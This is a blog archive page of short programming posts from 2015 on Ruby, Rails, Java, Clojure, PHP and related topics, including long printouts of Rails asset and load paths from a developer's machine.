Lets look at this ruby code. class Util def self.double(i) i*2 end end Util.double(4) #=> 8 Here we have a Util class. But notice that all the methods on this class are class methods. This class does not have any instance variables. Usually a class is used to carry both data and behavior and ,in this case, the Util class has only behavior and no data. Similar utility tools in ruby Now to get some perspective on this discussion lets look ...
Read More Source

April 6th, 2015

In Technology

No Comments

Ruby On Rails as the frontend for polyglot programming

True:

Rails is a good framework for proof-of-concept and small applications, it promotes conventions over configuration. As the application grows it becomes difficult to maintain. This is primarily because rails promotes coupeled architecture with fat model, skinny controller approach. Developers need to adopt to new patterns and create new conventions to keep projects moving on pace and in shape. PUBSUB can help us resolve some of the problems we face often.

And the subscribers can be written in any language, allowing for ...

Read More Source

April 6th, 2015

In Technology

No Comments

What Ruby sees when you monkeypatch

Interesting:

That is, the code:

module Foo puts Foo.object_id end

is functionally equivalent to:

# Create a new Module instance and assign it to the Foo constant Foo = Module.new

# Reopen the Module instance assigned to the constant Foo for modification module Foo # Do stuff in here to add functionality to the Foo module # Since Foo is already defined, we can get its object_id. puts Foo.object_id end

This certainly doesn’t make sense coming from a compiled language standpoint (after ...

Read More Source

April 6th, 2015

In Technology

No Comments

Shocking fact: using Spring used to mean giving up all compile time checks in Java

I have been reading Java Programming Interviews Exposed.

I never understood these “job interview” books before. Who can get ready for a job interview by reading a book? Surely that’s just cheap marketing by the publishers, who prey on developers insecurities?

However, I’ve decided I like this book. Not for job interviews — it sucks for that. But as a broad overview of the Java eco-system, it is perfect. It’s got a little about serialization, a little about dependency injection, a ...

Read More Source

April 5th, 2015

In Technology

No Comments

Why does Google point to 5 year old articles about Railties?

Sometimes Google disappoints. If you search for “gem plugins railtie” the first link is to an article that is 5 years old. Is there truly no better information? That article says:

Railtie plugins are easy to turn into gem plugins for Rails. This makes them easy to distribute, manage, and upgrade. The first thing you need is a gem. If you don’t have a gem yet, you can create a new gem easily using Bundler. Just run bundle gem my_new_gem ...

Read More Source

April 5th, 2015

In Technology

No Comments

Why (right side) cast a variable in Java

Interesting:

The question:

Is there some general rule about when a variable needs to be cast (on the right side)? Why is it that HttpURLConnection is cast on the right side here:

final HttpURLConnection connection = (HttpURLConnection) url.openConnection();

but responseInputStream does not need to be cast on the right side here:

final InputStream responseInputStream = connection.getInputStream();

How does a Java programmer know when to do this kind of casting, and when not to?

The answer:

In this program, you cast ...

Read More Source

April 3rd, 2015

In Technology

No Comments

ActionDispatch and middleware

Interesting:

When you start using ruby on rails, its ease of use makes it great to get you started. Everything works out of the box. You may be using Devise for authentication, Cancan for authorization and every time you need something that you believe Rails do not provide, you search google for a gem doing what you seek.

And joy is everywhere, your app works fine, you didn’t even need to write that much code to get where you are!

It’s awesome. Until ...

Read More Source

April 2nd, 2015

In Technology

No Comments

ActiveJob offers a uniform queue interface for Rails

I love that Rails 4.2 offers a unified interface for working with queues. This is obviously important for Ruby, since Ruby sucks at concurrency, and needs to rely on a lot of queue technology to facilitate most forms of async (some people then jump in: “blah, blah, blah, Fiber, etc, etc.” I get that, but still, the reality is, using Fiber does not magically give you Clojure, or Elixir).

Why do I need Background Jobs?

One common situation for needing background ...

Read More Source

March 31st, 2015

In Technology

No Comments

The folklore that allows technology to work

They make this sound negative, but every branch of engineering is built up on folklore, some of which stretches back for thousands of years. On a practical level, few us ever need to go back to first principles. It is faster and more efficient to work from rough rules of thumb that work most of the time.

In practice, very few people study the primary sources (or even authoritative secondary sources) when they’re programming and then work forward from first ...

Read More Source

March 31st, 2015

In Technology

No Comments

Why is Clojure leaner than Object Oriented Programming?

Interesting:

The person opposite will be wondering why is Clojure so lean and effective? You may think it’s unsporting and a bit negative to shoot fish in a barrel, but here I like to attack OO a bit. You can’t avoid this anyway as OO is the elephant in the room being the mainstream status quo. I’ve have found however that this can be a light and fun conversation, as people generally enjoy trading war stories and rallying against established orthodoxy.

We ...

Read More Source

March 31st, 2015

In Technology

No Comments

Types of functions: where Functional Programming meets Object Oriented Programming

Interesting:

Over the past year I have used Prismatic Schema extensively on a large Clojure project. We really like the aid that if offers in understanding, debugging, and using our code. However, we regularly feel a bit of a let down when an argument to a function is another function. Prismatic Schema doesn’t allow you to say much in these cases beyond: this arg is a function.

To address this we extended Prismatic Schema to allow us to add type annotations ...

Read More Source

March 30th, 2015

In Technology

No Comments

Mistake: At least make your fancy app act like a web page

A lot of people now say stupid things like this:

To add insult to injury, web development has become more and more dominated by rich client side work over the last 5 years. Javascript used to be a tool that you used as sparingly as possible, sprinkling in just the barest hint of dynamic behavior where it was absolutely necessary. Now it’s common to start a new project and assume that 50% or more of the code will be Javascript. At ...

Read More Source

March 23rd, 2015

In Technology

No Comments

Does not globally pollute Array, Hash, Object or AR::Base.

Kaminari is Clean. That is listed as its top feature. What does “clean” mean?

“Does not globally pollute Array, Hash, Object or AR::Base.”

Sure this is an argument against Object Oriented Programming? Doesn’t this make plain data structures seem wonderful?

Oh but wait, it fails the “clean” test in one big way:

Modern

The pagination helper outputs the HTML5 tag by default. Plus, the helper supports Rails 3 unobtrusive Ajax.

Embededed HTML! Fun times! Let’s party like its 1999!

Source

March 23rd, 2015

In Technology

No Comments

ActiveRecord scopes

I knew this once, but forgot during the time I have not worked with Rails:

scope(name, body, &block) Link

Adds a class method for retrieving and querying objects. A scope represents a narrowing of a database query, such as where(color: :red).select(‘shirts.*’).includes(:washing_instructions).

class Shirt < ActiveRecord::Base scope :red, -> { where(color: ‘red’) } scope :dry_clean_only, -> { joins(:washing_instructions).where(‘washing_instructions.dry_clean_only = ?’, true) } end

The above calls to scope define class methods Shirt.red and Shirt.dry_clean_only. Shirt.red, in effect, represents the query Shirt.where(color: ‘red’).

You should ...

Read More Source

March 23rd, 2015

In Technology

No Comments

Constraints on routes in Rails

I did not know this:

4.2 Specifying Constraints

You can use the :constraints option to specify a required format on the implicit id. For example: resources :photos, constraints: { id: /[A-Z][A-Z][0-9]+/ }

This declaration constrains the :id parameter to match the supplied regular expression. So, in this case, the router would no longer match /photos/1 to this route. Instead, /photos/RR27 would match.

You can specify a single constraint to apply to a number of routes by using the block form:

constraints(id: /[A-Z][A-Z][0-9]+/) do resources ...

Read More Source

March 22nd, 2015

In Technology

No Comments

I hate dependencies

As an example, I’ll talk about Nokogiri. For years now, every time I have to setup up a Rails project on a new machine, I struggle with the installation of Nokogiri. I usually only do this once or twice a year, which is just enough time for me to forget the details, so I have to go through all the pain again.

Error installing nokogiri Failed to build gem native extension. mkmf.rb can’t find header files ...

Read More Source

March 18th, 2015

In Technology

No Comments

Ruby mixins are powerful

A reminder of Ruby’s mixins powers:

I loosely modeled the BigInteger and Number classes after the Java versions. The BigInteger class defines one constructor and directly inherits one method from the Number base class. To mix in the methods implemented in the Stringify and Math modules with the BigInteger class you will note the usage of the include and extend methods, respectively.

# Create a new object bigint1 = BigInteger.new(10) # Call a method inherited from the base class puts bigint1.intValue # ...

Read More Source

March 16th, 2015

In Technology

No Comments

When strongly stated opinions bring out defensive anger in computer programmers

This reminds me of the reactions I got when I wrote my essay “Object Oriented Programming is an expensive disaster which must end”.

Then he started by banging on everything that didn’t conform to His Way of Doing Things: his process, his tools. Everything else was “stupid,” “dumb,” “moronic.”

I got the impression he was hiding his own fear of inadequacy behind a wall of disapproval and smack talk. I know this method. I used to use it myself, when I ...

Read More Source

March 16th, 2015

In Technology

No Comments

PHP is adding types without breaking backwards compatibility

This remark is very true:

If I were a Python developer (of the language itself), I would be paying very close attention to how PHP has handled deprecation and breaking changes.

and:

There’s been an effort with PHP 7 to try and avoid a Python 2/3-style situation. The PHP 5 to 7 jump should be much smaller than from 4 to 5.

and this about PHP:

I think of it as the English language of programming. Picking and choosing all of the best ...

Read More Source

March 16th, 2015

In Technology

No Comments

CSS media rules for iPads and iPhones

Interesting rules for screening for iPads and iPhones:

/* default styles here for older browsers. I tend to go for a 600px – 960px width max but using percentages */ @media only screen and (min-width:960px){ /* styles for browsers larger than 960px; */ } @media only screen and (min-width:1440px){ ...

Read More Source

March 16th, 2015

In Technology

No Comments

What Rails asset pipeline looks like

It’s interesting to actually look at the paths being managed.

Rails.application.config.assets.paths => [ "/Users/lkrubner/projects/pasha/magstore/app/assets/images",

"/Users/lkrubner/projects/pasha/magstore/app/assets/javascripts",

"/Users/lkrubner/projects/pasha/magstore/app/assets/stylesheets",

"/Users/lkrubner/projects/pasha/magstore/vendor/assets/javascripts",

"/Users/lkrubner/projects/pasha/magstore/vendor/assets/stylesheets",

"/Users/lkrubner/projects/pasha/magstore/vendor/bundle/ruby/2.1.0/bundler/gems/refinerycms_membership-cd49cac06a43/app/assets/images",

"/Users/lkrubner/projects/pasha/magstore/vendor/bundle/ruby/2.1.0/bundler/gems/refinerycms_membership-cd49cac06a43/app/assets/javascripts",

"/Users/lkrubner/projects/pasha/magstore/vendor/bundle/ruby/2.1.0/bundler/gems/refinerycms_membership-cd49cac06a43/app/assets/stylesheets",

"/Users/lkrubner/projects/pasha/magstore/vendor/bundle/ruby/2.1.0/bundler/gems/refinerycms_membership-cd49cac06a43/vendor/assets/javascripts",

"/Users/lkrubner/projects/pasha/magstore/vendor/bundle/ruby/2.1.0/gems/refinerycms-wymeditor-1.0.6/app/assets/images",

"/Users/lkrubner/projects/pasha/magstore/vendor/bundle/ruby/2.1.0/gems/refinerycms-wymeditor-1.0.6/app/assets/javascripts",

"/Users/lkrubner/projects/pasha/magstore/vendor/bundle/ruby/2.1.0/gems/refinerycms-wymeditor-1.0.6/app/assets/stylesheets",

"/Users/lkrubner/projects/pasha/magstore/vendor/bundle/ruby/2.1.0/gems/jquery-ui-rails-5.0.3/app/assets/images",

"/Users/lkrubner/projects/pasha/magstore/vendor/bundle/ruby/2.1.0/gems/jquery-ui-rails-5.0.3/app/assets/javascripts",

"/Users/lkrubner/projects/pasha/magstore/vendor/bundle/ruby/2.1.0/gems/jquery-ui-rails-5.0.3/app/assets/stylesheets",

"/Users/lkrubner/projects/pasha/magstore/vendor/bundle/ruby/2.1.0/bundler/gems/refinerycms-11f8d1eeb45e/core/app/assets/images",

"/Users/lkrubner/projects/pasha/magstore/vendor/bundle/ruby/2.1.0/bundler/gems/refinerycms-11f8d1eeb45e/core/app/assets/javascripts",

"/Users/lkrubner/projects/pasha/magstore/vendor/bundle/ruby/2.1.0/bundler/gems/refinerycms-11f8d1eeb45e/core/app/assets/stylesheets",

"/Users/lkrubner/projects/pasha/magstore/vendor/bundle/ruby/2.1.0/bundler/gems/refinerycms-11f8d1eeb45e/core/vendor/assets/javascripts",

"/Users/lkrubner/projects/pasha/magstore/vendor/bundle/ruby/2.1.0/gems/refinerycms-i18n-3.0.0/app/assets/images",

"/Users/lkrubner/projects/pasha/magstore/vendor/bundle/ruby/2.1.0/gems/turbolinks-2.5.3/lib/assets/javascripts",

"/Users/lkrubner/projects/pasha/magstore/vendor/bundle/ruby/2.1.0/gems/jquery-rails-3.1.2/vendor/assets/javascripts",

"/Users/lkrubner/projects/pasha/magstore/vendor/bundle/ruby/2.1.0/gems/coffee-rails-4.0.1/lib/assets/javascripts" ]

Source

March 16th, 2015

In Technology

No Comments

Functional design patterns

Interesting:

A good talk (~45 min) on this topic by Stuart Sierra:

http://www.infoq.com/presentations/Clojure-Design-Patterns

Not necessarily binding and authoritative, but I recognized a number of his examples from my own experience using FP for data analysis.

Examples written in Clojure, but likely applicable to any FP language. The names he gives to the patterns he covers are:

State/Event Consequences Accumulator Reduce/Combine Recursive Expansion Pipeline ...

Read More Source

March 16th, 2015

In Technology

No Comments

The tech industry reaction against cloud computing

Interesting:

When Matt and Quin founded Swiftype in 2012, they chose to build the company’s infrastructure using Amazon Web Services. The cloud seemed like the best fit because it was easy to add new servers without managing hardware and there were no upfront costs.

Unfortunately, while some of the services (like Route53 and S3) ended up being really useful and incredibly stable for us, the decision to use EC2 created several major problems that plagued the team during our first year.

Swiftype’s ...

Read More Source

March 16th, 2015

In Technology

No Comments

Now when confirmation validations fail, the error will be attached to :#{attribute}_confirmation instead of attribute.

Upgrading to Rails 4. I am not sure what this means, so I will leave this note to myself, and come back and read more later.

5.6 Active Model

Rails 4.0 has changed how errors attach with the ActiveModel::Validations::ConfirmationValidator. Now when confirmation validations fail, the error will be attached to :#{attribute}_confirmation instead of attribute.

Rails 4.0 has changed ActiveModel::Serializers::JSON.include_root_in_json default value to false. Now, Active Model Serializers and Active Record objects have the same ...

Read More Source

March 16th, 2015

In Technology

No Comments

Rails adds a lot to the $LOAD_PATH

I guess I knew this but I was still surprised to look and see how many paths there are in one small Rails project.

bundle exec rails c

Loading development environment (Rails 4.1.8)

irb(main):001:0> puts $LOAD_PATH

/Users/lkrubner/projects/pasha/fiit/lib

/Users/lkrubner/projects/pasha/fiit/vendor

/Users/lkrubner/projects/pasha/fiit/app/assets

/Users/lkrubner/projects/pasha/fiit/app/controllers

/Users/lkrubner/projects/pasha/fiit/app/decorators

/Users/lkrubner/projects/pasha/fiit/app/helpers

/Users/lkrubner/projects/pasha/fiit/app/mailers

/Users/lkrubner/projects/pasha/fiit/app/models

/Users/lkrubner/projects/pasha/fiit/app/controllers/concerns

/Users/lkrubner/projects/pasha/fiit/app/models/concerns

/Users/lkrubner/projects/pasha/fiit/vendor/bundle/ruby/2.1.0/bundler/gems/refinerycms_membership-cd49cac06a43/lib

/Users/lkrubner/projects/pasha/fiit/vendor/bundle/ruby/2.1.0/bundler/gems/refinerycms_membership-cd49cac06a43/vendor

/Users/lkrubner/projects/pasha/fiit/vendor/bundle/ruby/2.1.0/bundler/gems/refinerycms_membership-cd49cac06a43/app/assets

/Users/lkrubner/projects/pasha/fiit/vendor/bundle/ruby/2.1.0/bundler/gems/refinerycms_membership-cd49cac06a43/app/controllers

/Users/lkrubner/projects/pasha/fiit/vendor/bundle/ruby/2.1.0/bundler/gems/refinerycms_membership-cd49cac06a43/app/decorators

/Users/lkrubner/projects/pasha/fiit/vendor/bundle/ruby/2.1.0/bundler/gems/refinerycms_membership-cd49cac06a43/app/helpers

/Users/lkrubner/projects/pasha/fiit/vendor/bundle/ruby/2.1.0/bundler/gems/refinerycms_membership-cd49cac06a43/app/mailers

/Users/lkrubner/projects/pasha/fiit/vendor/bundle/ruby/2.1.0/bundler/gems/refinerycms_membership-cd49cac06a43/app/models

/Users/lkrubner/projects/pasha/fiit/vendor/bundle/ruby/2.1.0/gems/refinerycms-settings-3.0.0/lib

/Users/lkrubner/projects/pasha/fiit/vendor/bundle/ruby/2.1.0/gems/refinerycms-settings-3.0.0/app/controllers

/Users/lkrubner/projects/pasha/fiit/vendor/bundle/ruby/2.1.0/gems/refinerycms-settings-3.0.0/app/helpers

/Users/lkrubner/projects/pasha/fiit/vendor/bundle/ruby/2.1.0/gems/refinerycms-settings-3.0.0/app/models

/Users/lkrubner/projects/pasha/fiit/vendor/extensions/videos/lib

/Users/lkrubner/projects/pasha/fiit/vendor/extensions/videos/app/controllers

/Users/lkrubner/projects/pasha/fiit/vendor/extensions/videos/app/models

/Users/lkrubner/projects/pasha/fiit/vendor/bundle/ruby/2.1.0/gems/refinerycms-wymeditor-1.0.6/lib

/Users/lkrubner/projects/pasha/fiit/vendor/bundle/ruby/2.1.0/gems/refinerycms-wymeditor-1.0.6/app/assets

/Users/lkrubner/projects/pasha/fiit/vendor/bundle/ruby/2.1.0/gems/refinerycms-wymeditor-1.0.6/app/controllers

/Users/lkrubner/projects/pasha/fiit/vendor/bundle/ruby/2.1.0/gems/refinerycms-wymeditor-1.0.6/app/decorators

/Users/lkrubner/projects/pasha/fiit/vendor/bundle/ruby/2.1.0/gems/refinerycms-acts-as-indexed-2.0.1/lib

/Users/lkrubner/projects/pasha/fiit/vendor/bundle/ruby/2.1.0/gems/refinerycms-acts-as-indexed-2.0.1/app/decorators

/Users/lkrubner/projects/pasha/fiit/vendor/bundle/ruby/2.1.0/gems/quiet_assets-1.1.0/lib

/Users/lkrubner/projects/pasha/fiit/vendor/bundle/ruby/2.1.0/gems/seo_meta-2.0.0.rc.1/lib

/Users/lkrubner/projects/pasha/fiit/vendor/bundle/ruby/2.1.0/gems/seo_meta-2.0.0.rc.1/app/models

/Users/lkrubner/projects/pasha/fiit/vendor/bundle/ruby/2.1.0/bundler/gems/refinerycms-11f8d1eeb45e/pages/lib

/Users/lkrubner/projects/pasha/fiit/vendor/bundle/ruby/2.1.0/bundler/gems/refinerycms-11f8d1eeb45e/pages/app/controllers

/Users/lkrubner/projects/pasha/fiit/vendor/bundle/ruby/2.1.0/bundler/gems/refinerycms-11f8d1eeb45e/pages/app/helpers

/Users/lkrubner/projects/pasha/fiit/vendor/bundle/ruby/2.1.0/bundler/gems/refinerycms-11f8d1eeb45e/pages/app/models

/Users/lkrubner/projects/pasha/fiit/vendor/bundle/ruby/2.1.0/bundler/gems/refinerycms-11f8d1eeb45e/pages/app/presenters

/Users/lkrubner/projects/pasha/fiit/vendor/bundle/ruby/2.1.0/bundler/gems/refinerycms-11f8d1eeb45e/resources/lib

/Users/lkrubner/projects/pasha/fiit/vendor/bundle/ruby/2.1.0/bundler/gems/refinerycms-11f8d1eeb45e/resources/app/controllers

/Users/lkrubner/projects/pasha/fiit/vendor/bundle/ruby/2.1.0/bundler/gems/refinerycms-11f8d1eeb45e/resources/app/models

/Users/lkrubner/projects/pasha/fiit/vendor/bundle/ruby/2.1.0/bundler/gems/refinerycms-11f8d1eeb45e/images/lib

/Users/lkrubner/projects/pasha/fiit/vendor/bundle/ruby/2.1.0/bundler/gems/refinerycms-11f8d1eeb45e/images/app/controllers

/Users/lkrubner/projects/pasha/fiit/vendor/bundle/ruby/2.1.0/bundler/gems/refinerycms-11f8d1eeb45e/images/app/helpers

/Users/lkrubner/projects/pasha/fiit/vendor/bundle/ruby/2.1.0/bundler/gems/refinerycms-11f8d1eeb45e/images/app/models

/Users/lkrubner/projects/pasha/fiit/vendor/bundle/ruby/2.1.0/bundler/gems/refinerycms-11f8d1eeb45e/authentication/lib

/Users/lkrubner/projects/pasha/fiit/vendor/bundle/ruby/2.1.0/bundler/gems/refinerycms-11f8d1eeb45e/authentication/app/controllers

/Users/lkrubner/projects/pasha/fiit/vendor/bundle/ruby/2.1.0/bundler/gems/refinerycms-11f8d1eeb45e/authentication/app/mailers

/Users/lkrubner/projects/pasha/fiit/vendor/bundle/ruby/2.1.0/bundler/gems/refinerycms-11f8d1eeb45e/authentication/app/models

/Users/lkrubner/projects/pasha/fiit/vendor/bundle/ruby/2.1.0/gems/devise-3.4.1/lib

/Users/lkrubner/projects/pasha/fiit/vendor/bundle/ruby/2.1.0/gems/devise-3.4.1/app/controllers

/Users/lkrubner/projects/pasha/fiit/vendor/bundle/ruby/2.1.0/gems/devise-3.4.1/app/helpers

/Users/lkrubner/projects/pasha/fiit/vendor/bundle/ruby/2.1.0/gems/devise-3.4.1/app/mailers

/Users/lkrubner/projects/pasha/fiit/vendor/bundle/ruby/2.1.0/gems/jquery-ui-rails-5.0.3/lib

/Users/lkrubner/projects/pasha/fiit/vendor/bundle/ruby/2.1.0/gems/jquery-ui-rails-5.0.3/app/assets

/Users/lkrubner/projects/pasha/fiit/vendor/bundle/ruby/2.1.0/bundler/gems/refinerycms-11f8d1eeb45e/core/lib

/Users/lkrubner/projects/pasha/fiit/vendor/bundle/ruby/2.1.0/bundler/gems/refinerycms-11f8d1eeb45e/core/vendor

/Users/lkrubner/projects/pasha/fiit/vendor/bundle/ruby/2.1.0/bundler/gems/refinerycms-11f8d1eeb45e/core/app/assets

/Users/lkrubner/projects/pasha/fiit/vendor/bundle/ruby/2.1.0/bundler/gems/refinerycms-11f8d1eeb45e/core/app/controllers

/Users/lkrubner/projects/pasha/fiit/vendor/bundle/ruby/2.1.0/bundler/gems/refinerycms-11f8d1eeb45e/core/app/helpers

/Users/lkrubner/projects/pasha/fiit/vendor/bundle/ruby/2.1.0/bundler/gems/refinerycms-11f8d1eeb45e/core/app/models

/Users/lkrubner/projects/pasha/fiit/vendor/bundle/ruby/2.1.0/bundler/gems/refinerycms-11f8d1eeb45e/core/app/presenters

/Users/lkrubner/projects/pasha/fiit/vendor/bundle/ruby/2.1.0/gems/refinerycms-i18n-3.0.0/lib

/Users/lkrubner/projects/pasha/fiit/vendor/bundle/ruby/2.1.0/gems/refinerycms-i18n-3.0.0/app/assets

/Users/lkrubner/projects/pasha/fiit/vendor/bundle/ruby/2.1.0/gems/turbolinks-2.5.3/lib

/Users/lkrubner/projects/pasha/fiit/vendor/bundle/ruby/2.1.0/gems/jquery-rails-3.1.2/lib

/Users/lkrubner/projects/pasha/fiit/vendor/bundle/ruby/2.1.0/gems/jquery-rails-3.1.2/vendor

/Users/lkrubner/projects/pasha/fiit/vendor/bundle/ruby/2.1.0/gems/coffee-rails-4.0.1/lib

/Users/lkrubner/projects/pasha/fiit/vendor/bundle/ruby/2.1.0/gems/actionview-4.1.8/lib/action_view/vendor/html-scanner

/Users/lkrubner/projects/pasha/fiit/vendor/bundle/ruby/2.1.0/extensions/x86_64-darwin-11/2.1.0/unicorn-4.8.3

/Users/lkrubner/projects/pasha/fiit/vendor/bundle/ruby/2.1.0/gems/unicorn-4.8.3/lib

/Users/lkrubner/projects/pasha/fiit/vendor/bundle/ruby/2.1.0/gems/uglifier-2.7.0/lib

/Users/lkrubner/projects/pasha/fiit/vendor/bundle/ruby/2.1.0/extensions/x86_64-darwin-11/2.1.0/therubyracer-0.12.1

/Users/lkrubner/projects/pasha/fiit/vendor/bundle/ruby/2.1.0/gems/therubyracer-0.12.1/lib

/Users/lkrubner/projects/pasha/fiit/vendor/bundle/ruby/2.1.0/gems/therubyracer-0.12.1/ext

/Users/lkrubner/projects/pasha/fiit/vendor/bundle/ruby/2.1.0/extensions/x86_64-darwin-11/2.1.0/sqlite3-1.3.10

/Users/lkrubner/projects/pasha/fiit/vendor/bundle/ruby/2.1.0/gems/sqlite3-1.3.10/lib

/Users/lkrubner/projects/pasha/fiit/vendor/bundle/ruby/2.1.0/gems/spring-1.3.0/lib

/Users/lkrubner/projects/pasha/fiit/vendor/bundle/ruby/2.1.0/gems/sdoc-0.4.1/lib

/Users/lkrubner/projects/pasha/fiit/vendor/bundle/ruby/2.1.0/gems/webrat-0.7.3/lib

/Users/lkrubner/projects/pasha/fiit/vendor/bundle/ruby/2.1.0/bundler/gems/refinerycms-11f8d1eeb45e/lib

/Users/lkrubner/projects/pasha/fiit/vendor/bundle/ruby/2.1.0/gems/will_paginate-3.0.7/lib

/Users/lkrubner/projects/pasha/fiit/vendor/bundle/ruby/2.1.0/gems/truncate_html-0.9.3/lib

/Users/lkrubner/projects/pasha/fiit/vendor/bundle/ruby/2.1.0/gems/sass-rails-4.0.5/lib

/Users/lkrubner/projects/pasha/fiit/vendor/bundle/ruby/2.1.0/gems/sass-3.2.19/lib

/Users/lkrubner/projects/pasha/fiit/vendor/bundle/ruby/2.1.0/gems/routing-filter-0.4.0.pre/lib

/Users/lkrubner/projects/pasha/fiit/vendor/bundle/ruby/2.1.0/gems/ref-1.0.5/lib

/Users/lkrubner/projects/pasha/fiit/vendor/bundle/ruby/2.1.0/gems/rdoc-4.2.0/lib

/Users/lkrubner/projects/pasha/fiit/vendor/bundle/ruby/2.1.0/extensions/x86_64-darwin-11/2.1.0/raindrops-0.13.0

/Users/lkrubner/projects/pasha/fiit/vendor/bundle/ruby/2.1.0/gems/raindrops-0.13.0/lib

/Users/lkrubner/projects/pasha/fiit/vendor/bundle/ruby/2.1.0/gems/rails-i18n-4.0.3/lib

/Users/lkrubner/projects/pasha/fiit/vendor/bundle/ruby/2.1.0/gems/rails-4.1.8/lib

/Users/lkrubner/projects/pasha/fiit/vendor/bundle/ruby/2.1.0/gems/sprockets-rails-2.2.4/lib

/Users/lkrubner/projects/pasha/fiit/vendor/bundle/ruby/2.1.0/gems/sprockets-2.12.3/lib

/Users/lkrubner/projects/pasha/fiit/vendor/bundle/ruby/2.1.0/gems/tilt-1.4.1/lib

/Users/lkrubner/projects/pasha/fiit/vendor/bundle/ruby/2.1.0/gems/protected_attributes-1.0.8/lib

/Users/lkrubner/projects/pasha/fiit/vendor/bundle/ruby/2.1.0/extensions/x86_64-darwin-11/2.1.0/nokogiri-1.5.11

/Users/lkrubner/projects/pasha/fiit/vendor/bundle/ruby/2.1.0/gems/nokogiri-1.5.11/lib

/Users/lkrubner/projects/pasha/fiit/vendor/bundle/ruby/2.1.0/extensions/x86_64-darwin-11/2.1.0/libv8-3.16.14.7

/Users/lkrubner/projects/pasha/fiit/vendor/bundle/ruby/2.1.0/gems/libv8-3.16.14.7/lib

/Users/lkrubner/projects/pasha/fiit/vendor/bundle/ruby/2.1.0/gems/libv8-3.16.14.7/ext

/Users/lkrubner/projects/pasha/fiit/vendor/bundle/ruby/2.1.0/extensions/x86_64-darwin-11/2.1.0/kgio-2.9.3

/Users/lkrubner/projects/pasha/fiit/vendor/bundle/ruby/2.1.0/gems/kgio-2.9.3/lib

/Users/lkrubner/projects/pasha/fiit/vendor/bundle/ruby/2.1.0/gems/jbuilder-2.2.6/lib

/Users/lkrubner/projects/pasha/fiit/vendor/bundle/ruby/2.1.0/gems/hike-1.2.3/lib

/Users/lkrubner/projects/pasha/fiit/vendor/bundle/ruby/2.1.0/gems/globalize-4.0.3/lib

/Users/lkrubner/projects/pasha/fiit/vendor/bundle/ruby/2.1.0/gems/friendly_id-5.0.5/lib

/Users/lkrubner/projects/pasha/fiit/vendor/bundle/ruby/2.1.0/gems/dragonfly-1.0.7/lib

/Users/lkrubner/projects/pasha/fiit/vendor/bundle/ruby/2.1.0/gems/multi_json-1.10.1/lib

/Users/lkrubner/projects/pasha/fiit/vendor/bundle/ruby/2.1.0/gems/warden-1.2.3/lib

/Users/lkrubner/projects/pasha/fiit/vendor/bundle/ruby/2.1.0/gems/responders-1.1.2/lib

/Users/lkrubner/projects/pasha/fiit/vendor/bundle/ruby/2.1.0/gems/orm_adapter-0.5.0/lib

/Users/lkrubner/projects/pasha/fiit/vendor/bundle/ruby/2.1.0/gems/decorators-2.0.0/lib

/Users/lkrubner/projects/pasha/fiit/vendor/bundle/ruby/2.1.0/gems/railties-4.1.8/lib

/Users/lkrubner/projects/pasha/fiit/vendor/bundle/ruby/2.1.0/gems/thor-0.19.1/lib

/Users/lkrubner/projects/pasha/fiit/vendor/bundle/ruby/2.1.0/gems/coffee-script-2.3.0/lib

/Users/lkrubner/projects/pasha/fiit/vendor/bundle/ruby/2.1.0/gems/execjs-2.3.0/lib

/Users/lkrubner/projects/pasha/fiit/vendor/bundle/ruby/2.1.0/gems/coffee-script-source-1.9.0/lib

/usr/local/lib/ruby/gems/2.1.0/gems/bundler-1.8.5/lib/gems/bundler-1.8.5/lib

/Users/lkrubner/projects/pasha/fiit/vendor/bundle/ruby/2.1.0/extensions/x86_64-darwin-11/2.1.0/bcrypt-3.1.10

/Users/lkrubner/projects/pasha/fiit/vendor/bundle/ruby/2.1.0/gems/bcrypt-3.1.10/lib

/Users/lkrubner/projects/pasha/fiit/vendor/bundle/ruby/2.1.0/gems/babosa-1.0.2/lib

/Users/lkrubner/projects/pasha/fiit/vendor/bundle/ruby/2.1.0/gems/awesome_nested_set-3.0.2/lib

/Users/lkrubner/projects/pasha/fiit/vendor/bundle/ruby/2.1.0/gems/addressable-2.3.7/lib

/Users/lkrubner/projects/pasha/fiit/vendor/bundle/ruby/2.1.0/gems/acts_as_indexed-0.8.3/lib

/Users/lkrubner/projects/pasha/fiit/vendor/bundle/ruby/2.1.0/gems/activerecord-4.1.8/lib

/Users/lkrubner/projects/pasha/fiit/vendor/bundle/ruby/2.1.0/gems/arel-5.0.1.20140414130214/lib

/Users/lkrubner/projects/pasha/fiit/vendor/bundle/ruby/2.1.0/gems/activemodel-4.1.8/lib

/Users/lkrubner/projects/pasha/fiit/vendor/bundle/ruby/2.1.0/gems/actionmailer-4.1.8/lib

/Users/lkrubner/projects/pasha/fiit/vendor/bundle/ruby/2.1.0/gems/mail-2.6.3/lib

/Users/lkrubner/projects/pasha/fiit/vendor/bundle/ruby/2.1.0/gems/mime-types-2.4.3/lib

/Users/lkrubner/projects/pasha/fiit/vendor/bundle/ruby/2.1.0/gems/actionpack-4.1.8/lib

/Users/lkrubner/projects/pasha/fiit/vendor/bundle/ruby/2.1.0/gems/rack-test-0.6.3/lib

/Users/lkrubner/projects/pasha/fiit/vendor/bundle/ruby/2.1.0/gems/rack-1.5.2/lib

/Users/lkrubner/projects/pasha/fiit/vendor/bundle/ruby/2.1.0/gems/actionview-4.1.8/lib

/Users/lkrubner/projects/pasha/fiit/vendor/bundle/ruby/2.1.0/gems/erubis-2.7.0/lib

/Users/lkrubner/projects/pasha/fiit/vendor/bundle/ruby/2.1.0/gems/builder-3.2.2/lib

/Users/lkrubner/projects/pasha/fiit/vendor/bundle/ruby/2.1.0/gems/activesupport-4.1.8/lib

/Users/lkrubner/projects/pasha/fiit/vendor/bundle/ruby/2.1.0/gems/tzinfo-1.2.2/lib

/Users/lkrubner/projects/pasha/fiit/vendor/bundle/ruby/2.1.0/gems/thread_safe-0.3.4/lib

/Users/lkrubner/projects/pasha/fiit/vendor/bundle/ruby/2.1.0/gems/minitest-5.5.1/lib

/Users/lkrubner/projects/pasha/fiit/vendor/bundle/ruby/2.1.0/extensions/x86_64-darwin-11/2.1.0/json-1.8.2

/Users/lkrubner/projects/pasha/fiit/vendor/bundle/ruby/2.1.0/gems/json-1.8.2/lib

/Users/lkrubner/projects/pasha/fiit/vendor/bundle/ruby/2.1.0/gems/i18n-0.7.0/lib

/Users/lkrubner/projects/pasha/fiit/vendor/bundle/ruby/2.1.0/gems/rake-10.4.2/lib

/usr/local/lib/ruby/gems/2.1.0/gems/bundler-1.8.5/lib

/usr/local/lib/ruby/site_ruby/2.1.0

/usr/local/lib/ruby/site_ruby/2.1.0/x86_64-darwin11.0

